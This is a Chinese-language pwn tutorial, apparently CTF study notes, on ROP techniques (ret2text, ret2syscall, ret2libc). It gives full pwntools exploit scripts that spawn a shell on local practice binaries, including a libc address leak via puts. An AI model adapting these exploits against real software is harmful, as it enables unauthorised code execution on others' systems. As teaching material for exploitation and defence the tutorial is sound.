pwn3-绕过防御-ROP(1)

news2024/11/6 17:22:05

**ROP:**全程Return Oriented Programming(面向返回的编程),在栈溢出基础上,利用程序中已有的小片段(gadgets),改变寄存器或变量的值,从而控制程序执行流程,从而绕过NX防御,常见有ret2text,ret2syscall,ret2libc(最常用)…

**gadgets:**以ret结尾的指令序列,通过这些序列可以修改某些地址的内容。

ROP攻击满足的条件:

1.存在溢出,且可以控制返回地址

2.满足条件的gadgets。

工具:ROPgadget,ropper

方法

ROPgadget --binary file --only "pop|ret"
ropper -f ./ file --search "pop|ret"

ret2text

ret2text:控制已有代码,获得shell;

查看防护;

在这里插入图片描述

开了NX,没法用shellcode攻击。

ida查看源码

在这里插入图片描述

溢出地址;

在这里插入图片描述

偏移有了。

exp:

from pwn import *
p=process("./ret2text")
p.recvuntil("do you know anything?\n")
payload=b"a"*112+p32(0x804863a)
p.sendline(payload)
p.interactive()

ret2syscall

执行gadgets改变寄存器的值;

间接执行execve(“/bin/sh”,NULL,NULL)

32位:

1.eax=0xb

2.ebx为"/bin/sh"字符串地址

3.ecx,edx设为0;

常用gadgets:

pop eax;ret;

pop ebx;ret;

pop ecx; pop edx; ret;

int 0x80;

64位

1.rax=0x3b

2.RDI为"/bin/sh"字符串地址

3.RSI,Rdx设为0;

常用gadgets:

pop rax;ret;

pop rdi;ret;

pop esi; pop rdx; ret;

syscall;

ropper -f ./ret2syscall --search "int 0x80"

先查找是否存在系统调用

在这里插入图片描述

存在系统调用,查找“pop和ret”

ropper -f ./ret2syscall --search "pop|ret"

在这里插入图片描述

找到了一条比较简单的可以更改eax的指令;

在这里插入图片描述

还有一条一次性更改三个寄存器的值的.

容易调试出

exp:

from pwn import *
context.log_level='debug'
context.terminal=['deepin-terminal','-x','sh','-c']
p=process("./ret2syscall")
pop_eax_ret=0x080bb196#更改eax指令的地址
pop_edx_ecx_ebx_ret =0x0806eb90
int_0x80 = 0x08049421
bin_sh_addr = 0x80be408#该字符地址在ida中可查
payload = b"a"*112 + p32(pop_eax_ret) #首先112个字符偏移,后面跟上eax赋值的地址
payload += p32(0xb) + p32(pop_edx_ecx_ebx_ret) #再跟上0xb赋值给eax,然后是edx ecx ebx ret的操作地址
payload += p32(0) + p32(0) + p32(bin_sh_addr)#按照指令操作的顺序,edx ecx赋值0,ebx位/bin/sh地址。
payload += p32(int_0x80)#再加上系统调用指令的地址

p.sendline(payload)
p.interactive()



ret2libc

控制函数执行libc(动态链接库)中的函数,通常是返回某个函数的plt处或者函数的实际地址。

执行system(“/bin/sh”),要知道system地址,即字符串地址;

32位程序栈中,函数地址后面紧跟返回地址,然后是参数。

在这里插入图片描述

64位同样遵循,但是64位中前六个参数会依次放入RDI,RSI,RDX,RCX,R8,R9等,第7个才会入栈。

32位有system调用,有字符串

ida分析,有gets溢出,有system函数调用,还有字符串。

在这里插入图片描述

在这里插入图片描述

checksec发现打开了NX防护,没法对内存操作;

溢出知偏移为120;

看一下system的plt地址

在这里插入图片描述

system_plt=0x8048460

字符串地址

add=0x8048720

exp:

from pwn import *
p=process("./ret2libc1")
payload=b"a"*112+p32(0x8048460)+b"xxxx"+p32(0x8048720)

p.sendline(payload)
p.interactive()

无system调用,无字符串

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

p = process("./ret2libc2")
if args.G:
    gdb.attach(p)

gets_plt = 0x8048440
puts_plt = 0x8048460#puts函数地址
main_addr = 0x8048618
puts_got = 0x804a018
#不知道sysyem函数地址,想办法泄露sys地址,通过程序中任意一个输出函数,输出函数的got表,got表存放函数的真实地址,可以通过pwngdb>got看到,会显示运行过的函数地址

p.recvuntil("Can you find it !?")
payload = b"a"*112 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
#返回地址设为puts函数,然后执行main函数,puts_got作为puts函数的参数输出
p.sendline(payload)

puts_addr = u32(p.recv(4))
#接受输出的puts函数在got表中的地址
libc_addr = puts_addr - 0x67d90
#libc中的相对偏移地址不会变,所以得到了此次的puts地址减去这个固定偏移量就知道libc的地址
system_addr = libc_addr + 0x3d3d0
#libc地址家加上system函数的偏移就可以得到
bin_sh_addr = libc_addr + 0x17e1db
#同理
success("puts_addr: " + hex(puts_addr))
success("system_addr: " + hex(system_addr))
success("bin_sh_addr: " + hex(bin_sh_addr))

p.recvuntil("Can you find it !?")
payload1 = b"a"*104 + p32(system_addr) + b"xxxx" + p32(bin_sh_addr)
#直接找函数地址的exp写法
#payload1 = b"a"*104 + p32(gets_plt) + p32(system_addr) + p32(0x804a020) + p32(0x804a020)
#另外一种写法
p.sendline(payload1)
'''
sleep(0.2)
p.sendline("/bin/sh\x00")
'''
p.interactive()

查看函数真实地址

got

在这里插入图片描述

后面的就是函数真实地址,再查找libc的基地址

vmmap

在这里插入图片描述

基地址为0xf7ddd000

例如printf的偏移为0x51520

p/x 0xf7e2e520-0xf7ddd000

找到system此时got表的地址

p system

在这里插入图片描述

为0xf7e1a3d0,由此可以得到system的偏移

p/x 0xf7e1a3d0-0xf7ddd000
$9 = 0x3d3d0

puts的偏移

pwndbg> p/x 0xf7e44d90-0xf7ddd000
$7 = 0x67d90

字符串偏移

pwndbg> search "/bin/sh"
Searching for value: '/bin/sh'
libc-2.27.so    0xf7f5b1db das  /* '/bin/sh' */
pwndbg> p/x 0xf7f5b1db-0xf7ddd000
$10 = 0x17e1db

总结:首先找到任意函数的got表,这里用的是puts_got,然后用改函数真实地址减去libc基地址得到一个偏移,那么在程序中,我们就可以通过得到改函数got表地址减去偏移,得到libc基地址。找到system偏移地址,找到字符串偏移地址。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/625109.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux:samba服务 (smbd)

smb服务器为centos7 使用的yum安装(如果不会搭建本地yum仓库可以查看) Linux:rpm查询安装 && yum安装_鲍海超-GNUBHCkalitarro的博客-CSDN博客 samba 简介 samba 使用了 1.SMB 协议 Server Message Block,服务消息块 2…

【LeetCode】769. 最多能完成排序的块

769. 最多能完成排序的块(中等) 方法一:贪心 思路 由于arr是[0,..., n-1] 的一个排列,若已遍历过的数中的最大值 max 与当前遍历到的下标相等,说明可以进行一次分割,累加答案。 代码 class Solution { …

javaScript蓝桥杯---用什么来做计算

目录 一、介绍二、准备三、目标四、代码五、完成 一、介绍 古以算盘作为计算工具。算盘常为木制矩框,内嵌珠子数串,定位拨珠,可做加减乘除等运算。站在前人的肩膀上,后人研究出计算器,便利了大家的生活,我…

从贝叶斯派的角度去看L1和L2

前沿 推导的两个角度 带约束条件的优化求解(拉格朗日乘子法)贝叶斯学派的:最大后验概率 理解的两个角度 贝叶斯学派的角度,L2参数符合高斯先验,L1参数符合laplace先验。从有约束问题角度,用拉格朗日转换…

一“幕”了然 ,平行云助力中车打造“掌上工厂”(文末活动报名)

“全球工业生产效率提高1%,成本降低300亿。” 所以工业界有这样一种说法,叫做“工业领域的1%革命”。 Gartner曾预言:到2021年,将有一半的大型工业公司使用数字孪生技术,而这可以使这些公司的生产有效性提高10%。如今…

rust学习 - 构建mini 命令行工具

rust 的运行速度、安全性、单二进制文件输出和跨平台支持使其成为构建命令行程序的最佳选择。 实现一个命令行搜索工具grep,可以在指定文件中搜索指定的字符串。想实现这个功能呢,可以按照以下逻辑流程处理: 获取输入文件路径、需要搜索的字符串读取文…

基于Alexnet网络实现猫狗数据集分类(Keras框架)

目录 1、作者介绍2、Alexnet网络2.1 网络介绍2.2 AlexNet网络的主要特点 3、基于Alexnet网络实现猫狗数据集分类3.1 猫狗大战数据集3.2 数据集处理3.3 准备工作3.4 训练过程3.4 对比实验3.4.1 HALCON平台下的Alexnet实验3.4.2 HALCON平台下的Resnet-50对比实验3.4.3 HALCON平台…

进程的通信——管道和共享内存

进程间的通信有很多种 管道 匿名管道pipe 命名管道 System V IPC System V 消息队列 System V 共享内存 System V 信号量 POSIX IPC 消息队列 共享内存 信号量 互斥量 条件变量 读写锁 这篇文章主要介绍管道和共享内存 管道 管道内核数据结构:在Linux2.6中 struct …

搭建自动化测试环境

目录 1、安装Python并配置环境变量。2、安装Pycharm开发工具。3、安装Selenium4、安装浏览器:Chrome和Firefox的其中之一。5、浏览器驱动:下载Chrome浏览器驱动或者是Firefox浏览器驱动。6、配置webdriver公众号粉丝福利 自动化测试环境: Pyt…

接口反应慢优化

遇到某个功能,页面转圈好久,需要优化 1.F12 查看接口时间 2.看参数 总共耗时9.6s Waiting for sercer response 时间是2秒 Content Download 7秒 慢在Content Download F12查看接口响应 显示Failed to load response data:Request content was e…

这些10款优秀的交互设计软件,你知道吗?

交互软件可以帮助设计师从“可用性”和“用户体验”的角度优化他们的作品。如果设计师想创建一个令人满意的交互设计作品,一个方便的交互设计软件是必不可少的。 根据设计师的个人喜好和方便,选择易于使用的交互设计软件来完成创建。本文盘点十款易于使…

【P55】JMeter 图形结果(Graph Results)

文章目录 一、图形结果(Graph Results)参数说明二、准备工作三、测试计划设计 一、图形结果(Graph Results)参数说明 可以以图形的方式查看和分析相关指标 使用场景:一般在调试测试计划期间用来查看相关指标&#xf…

微信小程序基础使用-请求数据并渲染

小程序基本使用-请求数据并渲染 小程序模板语法-数据绑定 在js中定义数据 Page({data: {isOpen: true,message: hello world!} })小程序的data是一个对象,不同于vue的data是一个函数 在模块中获取使用数据 小程序中使用 {{}} 实现数据与模板的绑定 内容绑定&a…

Qt Quick-QML地图引擎之v4版本(新增3D模型/抗锯齿任意多边形下载)

在上个版本Qt quick-QML地图引擎之v4版本(新增3D模型/高德/谷歌在线/离线预览/多线程离线裁剪下载/区域查询/位置搜索/路径规划)_qt 高德地图离线_诺谦的博客-CSDN博客更新了很多小功能。经过朋友们一致需求建议,所以V4继续优化。 B站视频: Qt Quick-QML…

【办公效率提升】Window10与ubuntu递归列出当前目录及其所有子目录中的文件和文件夹

在Windows操作系统中,没有内置的类似于Ubuntu的"tree"命令的功能。但是,你可以使用以下两种方法来实现相似的功能: 方法一:使用dir命令和递归 你可以使用Windows的内置命令"dir"以及递归参数"/s"来…

前后端交互二、form表单与模板引擎

零、文章目录 前后端交互二、form表单与模板引擎 1、form表单的基本使用 HTML相关知识请参考HTML入门 &#xff08;1&#xff09;表单是什么 表单在网页中主要负责数据采集功能。HTML中的<form>标签&#xff0c;就是用于采集用户输入的信息的&#xff0c;并通过<…

linux PerfCollect收集日志及perfview分析

Perfview&#xff1a;https://github.com/Microsoft/perfview/releases PerfCollect&#xff1a;https://github.com/dotnet/coreclr/blob/master/Documentation/project-docs/linux-performance-tracing.md Linux 环境中运行的 ASP.NET Core应用中收集跟踪 PerfCollect&#…

5.6.1 Ext JS之标签页的关闭和批零关闭

Tab Panel 是包含多个标签页的面板, 这是一种很常用的组件, 类似于浏览器的标签页。关于 Ext JS的Tab Panel的基本使用可以参考: [Ext JS3.9] 标签面板(TabPanel )介绍与开发, 本篇介绍如何关闭单个标签页和批量关闭标签页。 Tab 标签页的可关闭 默认状况下,标签页是无…

Bitmiracle Docotic.Pdf 9.015 Crack

Docotic.Pdf 库是正确的法语和强大的编程和界面&#xff0c;可以让用户和开发人员创建专业和高质量的 PDF 文件&#xff0c;甚至可以阅读和修改那些已经存在的。它具有干净而强大的编程接口&#xff0c;能够帮助用户创建质量非常好的 PDF 文档。在这个库的帮助下&#xff0c;用…

linux log

linux log 一:printk日志级别二:printk打印消息控制printkprintk消息等级查看与修改/etc/rsyslog.conf 一:printk日志级别 数字越小级别越高 二:printk打印消息控制 console_loglevel&#xff1a;只有当printk打印消息的log优先级高于console_loglevel时&#xff0c;才能输出…